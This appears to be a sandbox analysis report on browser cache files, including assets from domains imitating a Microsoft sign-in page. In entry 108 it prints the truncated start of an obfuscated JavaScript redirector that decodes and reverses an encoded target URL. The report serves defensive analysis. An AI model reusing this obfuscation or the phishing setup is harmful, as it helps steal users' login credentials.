Preview:	L..................F.@.. ...$+.,....{B..aJ......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y'.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y'.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y'............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y)............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........~..(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 16:41:17 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.007488917297504
Encrypted:	false
SSDEEP:	48:8I/nd9Tq73vHXidAKZdA1duT6ehOuTbbiZUk5OjqehOuTb45y+yT+:8yLk+TTTbxWOvTb45y7T
MD5:	D6372AA523CCE508F34572950596B1FC
SHA1:	00F11F051D1604A0D2BE1CEF0475EA8CC8361301
SHA-256:	CD32B72E89B18B8C639CBFFE120F532D943970880650638C2F7BD0715A3B2879
SHA-512:	287409535A3BD54319029EA24ACCD66F610906DE40F25872B2A8847E187FA7C2D4D5A9CA542BE45CA025894858D2BF6AF9B9CCA509D55326EBA3D8C59A72794D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........aJ......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y'.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y'.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y'............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y)............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........~..(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 41, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlEJLD1xl/k4E08up:6v/lhPgD17Tp
MD5:	AF6C55D891A4899E7E1E907157075CC6
SHA1:	0C457701D9FCBA06C7D6DB37520563CF7FC61519
SHA-256:	2302459FC663A4861D0AD480A325553764576CDF656C47936C06FAEE1E2934BB
SHA-512:	844EF19EDA24BD543CE5C38BAC8B62DF239CEE9496E509E2395798E2AFF9404CD371D608882298A4B19F5BBF0D4F5CBFECA7EA589357D343025E0AB5033BD8C8
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8ef6ca8f8eb542b2/1733766145528/q8Z6Lw0ZA8dnFtz
Preview:	.PNG........IHDR.......)........n....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 190235
Category:	dropped
Size (bytes):	61130
Entropy (8bit):	7.996154715796178
Encrypted:	true
SSDEEP:	1536:VOQBSwzRx8PHkSFxAgeSb5UkfDXAkVTLLz5hF81:VOQNzz8pIgh5UkfDAY/Lz5hC1
MD5:	8ACF055773CD5872DF3D074764150211
SHA1:	24047B72981F5CB9B903A7632306243581A2CCE5
SHA-256:	3A9F91CCF03EA3117BE9350A8ABC3427B815B2C3A4B9A64CE37935696368315B
SHA-512:	508E122499955C88F231EF674961BE97C27D867386C095EA43656E4CDE9CCFFD490F2087B14297C6D3B687FAD390B4CCEA30504E21D8E8EB074BF926DC86D0CE
Malicious:	false
Reputation:	low
Preview:	...........y[..8....F.\.t.86Y&...%.$.a..Y......%..d.....U.,.........Z.{uuuu-.M...f..\|....O.....4..K.......,..ON.O..c.b...8M\|....w.,...a.u.f...K.#.`./.x....<..l.].Y.4.&......b;x2.......<.....,.V..,..m~..5.#.xc:.$y\|yU.iV]\|..}..ZP...7h..I..$...<....n......S...G.....<..a....U...+>..yV.e..Bs\|.%q....\|`..E\|..#....vu.....)......2....2....7S..oEe.]'.N.l^EI...Y..HW.Y..\|+.Q..{.#XA....\|[qt..y.......:Y.0N.......q..P...X..u.v..\|uV.(E...ay\|>...3..jm<f.~..t=.N.3...V..Y8..\|.n8......Of...v\]...KoT]5.r..M.%G)`{...0tH..8.,..&.=.q..'.....7.....E...!:o.:...x/{(On..D..._.J...a.z8o.......xj.GE.....A..#........$....1.&.st....#=..!..P.O.nTlb...a.eE.k\\.....d..z.F...I^...B.e..r..-XS5.....eQ.@...~....:....$.5..%.....f.Oa.Fu(7.`.tp....?...e.%j..]....o{u.\|...D.....x..E..v..&.`@.:\|.[D/6...Y]..{....75.6.u...!.".......{.......b.j@.r.r.....uiq...:..\.......f...6.:,.T.V..nj~..Q...-S.........2...W..Ka4..L......'G.o>........`....3w..75l.../y.3../6k.

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 142298
Category:	downloaded
Size (bytes):	49910
Entropy (8bit):	7.994788583553201
Encrypted:	true
SSDEEP:	768:prASAAHOGEL42/UK//SrtafR84hDcILC37m6OL27IiWkf6I5wTyW+KeUveY:hAkHYD/v/a5eR84WSYOLBmf66wTP+KDJ
MD5:	E4CC4EF334A0E24455BD3A5F0EF4EF65
SHA1:	6EA1848317979ABB65A46C3E0CCE38B289067CEA
SHA-256:	7446A85A402154D1BDD7564FF5CA01975D8AFD63C3B034C5486EB50709F1A111
SHA-512:	4C67EAB869E7DADC4679BB6823450212F73C63083845A8016DDF3325A2DF5531CD9B4301FFF4BCFA07D870B509680B85FEC19A7F220D6075D4E4A78C28954FFB
Malicious:	false
Reputation:	low
URL:	https://6d700e25-0e591a27.myconm.com/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js
Preview:	...........m[.8.0........OL....;w.....a.L...\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De....q.W.~.@......T.y.S7J...f...P....Pz.......a.E..<.m./A,...Q.....U..q...$.Db,...H<...'....J,..$..;nG.2DHYkL../......=.pB....A?.&...i,......2lo...$.<.s...?~p[......L..&x.qR.u3...6q:....U.Y1.."... .>Un#7@.........."H,@.......?..P....p6.S.[...E].A..G.....q..j4w6......YwI2....[?.....O.0.....M/..N..z0..}.6...N6.........G..Ax.....>...A8U.0.AP...E.M.'..-. .l.M....V..z.$......F...,.I....?.k+v.........T...]'...../.kk0B...$a.4..;7.<.................et..>....]._.+...N......+..CU.V.UV.ep.......c.Ng.Zj...?I.f.\..:..+t..vc.I..#..I5.L..H$.(..s....1.Pa...g.N....d...Xtd!.....k.V...2u..Y..l....x//...E...e.....>...C..k.....23..@...r...(...+.l.'..J.$z"I..p..B`[LE......0LBT..r...9rsl5M.\|"......RK.l.....*.DVB.Swg..S5....d....O..`R.nw.-..L..S.B@QZ.N>.\-...[...pL....sro//..H.S.l.s....U.....M.yJ....

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 449968
Category:	downloaded
Size (bytes):	122347
Entropy (8bit):	7.99750997237964
Encrypted:	true
SSDEEP:	3072:vAHQ9ftw1buTx8Wydz0TpmqjGDdXp9Tcw4+8tT1ctgu:IQzi8iOpmqjGRXp6e2u
MD5:	6B8D51FA4275926A633811BAD3FC2DDF
SHA1:	2D4D03FE8BC5DE109BD42586E9C06272EDF466CE
SHA-256:	45C4529FF9835C6F7AC9E346D7FDD59FDF0B8A79CABC284FC076182A3B33993D
SHA-512:	B281E54D4FD11E7B6A2675F50D5C2FF695CD2AB06D10CE1610EC0A219D60F121CA77DECA9AE229707F5CC035F1A92BF20ECC02695F9260B44FA034F056A6859B
Malicious:	false
Reputation:	low
URL:	https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/js/ConvergedLogin_PCore_i5YupurhQAo9inu_OetqHw2.js
Preview:	...........{W.8.....{_&.L:.....t...C.g...,.V......;.\|._UI.....u...G.K.W.T..J.~...J?.v..?..u..48)].>.:]..?K...............4.\|V..#;fn).JaT..'.fad',.M.....8....fQ.'s...{q..F...Ke..rK.v...N/+U..Am.......^..CR...sX..\... f.y....9..s..8.'..9.{.F.9...Kv.J1KJ.0J.x?..!B.Zcj....8t..s..1.....z!vq6.Ac.0._.J'....>......E..x...x.....g.A...Ts.Y.]..R..Q...c.K.e....Z.Dv.(.......)........Mg....^bq..f......U%..J..aP..........vkF.g=$.,6?\|.x..\|T..:a0.:....'.....G.........1/w.Qf...#.H.(..^ ..T'.47..r..0......-....".U.ak<...X.U..w)(...F.'..@....nkwz...;=.j.c.......I....T<+.......O.. .....>...9.....T...(.W..o...m.:...e..V:..j...(..U...HO..2.M....P.......wdO+N5~..I.R.,....R..E.i..).BD.7.{..]%b.<.J......1...&Y...t..2t.i...}Q.a!.c"....+..[[.,my"z..z....[9.zQd..1.I}C.K.b..&..-...1-.J......s..R.....m....K.N..&.+....Si...T\.8`{.3.B...DL}4..r.u........`?....W`Z".S.S..<= ....Z...n."..*}..K.{0...._..A%..L...I)UX...)y..P.......G.....z{K?',9............@Z..2.(..

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	254
Entropy (8bit):	6.259845007112858
Encrypted:	false
SSDEEP:	6:6v/lhPUAny+r5+rMDVKkaIOW+pzqjeSK55cWMBf7Hup:6v/7sAnR1bMT+0keSK5WLBDHc
MD5:	57AB754695EB0A2C74201ECD6948C12F
SHA1:	47A30BF4C6F8930625DEF0080F64B01FAB1E4562
SHA-256:	2267D1822DBEFC10C25E17D1FA4A6D9331E5A126E2483C5AFF542D6107EBCA36
SHA-512:	6501B2FCF270BCD6FB0798CD30EAF0490033FD4C5EC0A3DBFB6EB23B7F6A29D4760301F0942F734D2B5AD81824D3B2FECA2B19043AF63D2CB20154211979B1B8
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...@...@............BPLTE...FFFFFFFFFFFFFFFFFFFFFFFFFFF......M+l.........N&u.........P"....b%.....tRNS..........KOY_......L....YIDATX..... ...EP....[5'...a....D.G..neq.......t.T....d.....z*..R.....8p.....].F%ALJ..z...5.3.....IEND.B`.

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1177
Entropy (8bit):	3.795533939592459
Encrypted:	false
SSDEEP:	24:l8Hjhe95sIS5X082/ulFmGDhdm4WsbVMU:lIhGshCGlF3Ai6U
MD5:	F3A6CCB8BFD85E93AF0C6DBD6C056B37
SHA1:	29CCCBCFBB25C787F6F7D54CADAC8B8666CD0590
SHA-256:	DE9DE3B0B48E1C0BAE11D96391D4927F2E5A378896A07177D0841CF027B6AC93
SHA-512:	8E82C9B520E6E4A31ABFFFD52FADB5B30A6C1BFB92558E7A0D0F522578794FB371AA218A226262AEAAEF6F5EFBA1CC2FFFDC6D7AF3DA4482D0F7C1F9637BD44E
Malicious:	false
Reputation:	low
URL:	https://sphexams.com/.well-know/?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkU0JjEzY2s2RGNxR1hjb0NGZXtXSGVzemdsdHpmaWduc2tlaTQzJkczJmZzRzMmZWRHMyZ4cG9sLm1tZngvRzMmaHNwL2ZtYm9wantib3NmdW9qb2ZuYkczJkczJkI0JnRxdXVpRTQmbXN2QzQmMzMzJkU0JnVvZnVvcGQxMyYzMyZpdGZzZ2ZzMzMmRTQmd2p2cmYucXV1aTEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCYzMyY5LkdVVjMzJkU0JnVmdHNiaWQxMyZidWZuRDQmMTMmMTMmMTMmMTMmQjEmRjQmZWJmaUQ0JkIxJkY0Jm1udWlENCZCMSZGNCZvYnF0RzMmRDQmZGs3aFpWRDQmdHs1TUU0JkxYbXgxT1FnZFhQWXN7NXdHOXtRRTYmQ09GNCYzMyZ1eWZ1Lm9mZWVqaTMzJkU0JnR0Ym1kMTMmb2JxdEQ0JkIxJg==
Preview:	<html>.. <script>.. !function() {.. function e(e) {.. return decodeURIComponent(Array.prototype.map.call(atob(e), function(e) {.. return "%" + ("00" + e.charCodeAt(0).toString(16)).slice(-2).. }).join("")).. }.. function n(e) {.. return String.fromCharCode(...e.split("").map(e => e.charCodeAt(0) - 1)).. }.. function t(e) {.. return e.split("").reverse().join("").. }.. function o(e) {.. try {.. return new URL(e),.. !0.. } catch {.. return !1.. }.. }.. var r = window.location.search.substring(1);.. if (r) {.. var c = r.split("=")[1].. , i = e(c).. , l = n(i).. , a = t(l).. , u = decodeURIComponent(a);..

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 57510
Category:	dropped
Size (bytes):	16345
Entropy (8bit):	7.98961401355024
Encrypted:	false
SSDEEP:	384:gOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:gOBKJBXO586QB+11J
MD5:	1BB2645B377E0429225D33E4E2CC6E3F
SHA1:	A40797795C77CDFF574080B506BAB17DB38494B5
SHA-256:	B3B869875C7655F97500FBA0BCE74BCE7CC1DEE31D7CE5B93EA5D6457E07F08E
SHA-512:	49C98F20572C7488FEDB8AAF6C3D1D004904536524B79FA44CAABC5B91C8BA1A192B10F1FBE28112CC324E17600160E5BAA5E30261E5D63858C16376219DD3FE
Malicious:	false
Reputation:	low
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.860223690068481
Encrypted:	false
SSDEEP:	24:XvstSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcN:Xv7DkpyVCGca4b//9z5oPXdbl9688qRU
MD5:	DF6A7721C242813411CC6950DF40F9B3
SHA1:	B2068C4A65C183AAD6FC22A44CC1FA449CD355B4
SHA-256:	AA53B6DC744357B392FC57C34E516BAE465D4A6837775C137A176D599C8EA948
SHA-512:	CDCFB686649F2061FE13A58841EB6A4E17F40951BA0C440C568B248E6128B6E0C4E79F95DC3EAB81286C103ED2A966F7058D22066466ADED482BF9ECAA6EA3CB
Malicious:	false
Reputation:	low
URL:	https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 48236, version 1.0
Category:	downloaded
Size (bytes):	48236
Entropy (8bit):	7.994912604882335
Encrypted:	true
SSDEEP:	768:uj6JxavgLx5rjTH3CdZ3y11o4uMb2IVEhiB6z6GAAHJApICtBgso6HaOjTXHRWK:ujoa4LxZPCdm3B2IVEhiB62apApISxos
MD5:	015C126A3520C9A8F6A27979D0266E96
SHA1:	2ACF956561D44434A6D84204670CF849D3215D5F
SHA-256:	3C4D6A1421C7DDB7E404521FE8C4CD5BE5AF446D7689CD880BE26612EAAD3CFA
SHA-512:	02A20F2788BB1C3B2C7D3142C664CDEC306B6BA5366E57E33C008EDB3EB78638B98DC03CDF932A9DC440DED7827956F99117E7A3A4D55ACADD29B006032D9C5C
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2
Preview:	wOF2.......l......D...............................O..B..h?HVAR.x.`?STAT.$'...0+...\|.../V........+..2.0..6.6.$..`. ..~......[B4q.....t..P.M_.z...1..R.S...u.#..R....fR.1.N.v.N.P...;.2........!Z......Qs...5f.G.K.an2&....2.........C.H.t..N!.....nh.<(.vN.....j.._.L.P.t..Ai.%.............._I.i,..o,C.].H.X9.....a.=N....k.....n.L..k.f.u..{...:.}^\[..~5...Z`...........`!...%4..,...K0..&.a/....P....S....m.Z......u...D.j.F...f.0`I.`.`.h#..)(FQ.F!o$........S.).MV8%Rh...r...x...T]$.=......Y...!.3.&U..."....Q....{.l/0..d..4iJ/..}...3....i[Z..NG.WD...>.[U..Q.h..@m.=..S...1C2...d...<..v.?.q.f..n...OUz.....&Z......Z."..N.....n...9.B..C..W....}...W..6Zs.i.+Z........jB.n..x.8M.....q..@I....-.%..,C,..K..#.2...4)/.v_..x.<....t.....%[.4?.=j.V..jj''..W.u..q....I.L.=......E...\.M.7{.>......W........C.`...,9$......\..o........y...4A..m.P.,X..=?.:................wF`..+.P..........M!.4.......l.>M..t.ff5r..^..Z.g...!fA,hIIQ...e.R>B.AH.VuX..>..\.=.ky...1>C....>C.c.;...6D.

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 47 x 34, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlu1tkppBxl/k4E08up:6v/lhPwEHB7Tp
MD5:	4A40AA04470C68AF30B5E2414C04C321
SHA1:	3F72FAF0F8552823C93D2D728A5C0ACBD6F7F1F6
SHA-256:	6B86B887496A050F70FB2B192F49C046DA6B46E0B4425F94EF0FC31072BCAB2C
SHA-512:	780941936E84E12BCB3AECDB2EDA6B1D0B07C5DC3109D13D0070F68DA62D63D41B70C79D6BD4CE1FE65F68E6E96824DFE3DD57A8E8204D2FED22DA87874DF022
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8ef6c997a86442ad/1733766106030/5ym9Qb7hUPt95Jw
Preview:	.PNG........IHDR.../...".....@..%....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 407057
Category:	dropped
Size (bytes):	116413
Entropy (8bit):	7.997842564611431
Encrypted:	true
SSDEEP:	3072:gTmjFgVF8slWVWbnPmHj9BuF+98qVEaXTYyTOJbbv:gTegVF8qwWKD9XyajYTtT
MD5:	D25C52FC2640C3F976053F2ED924BF2D
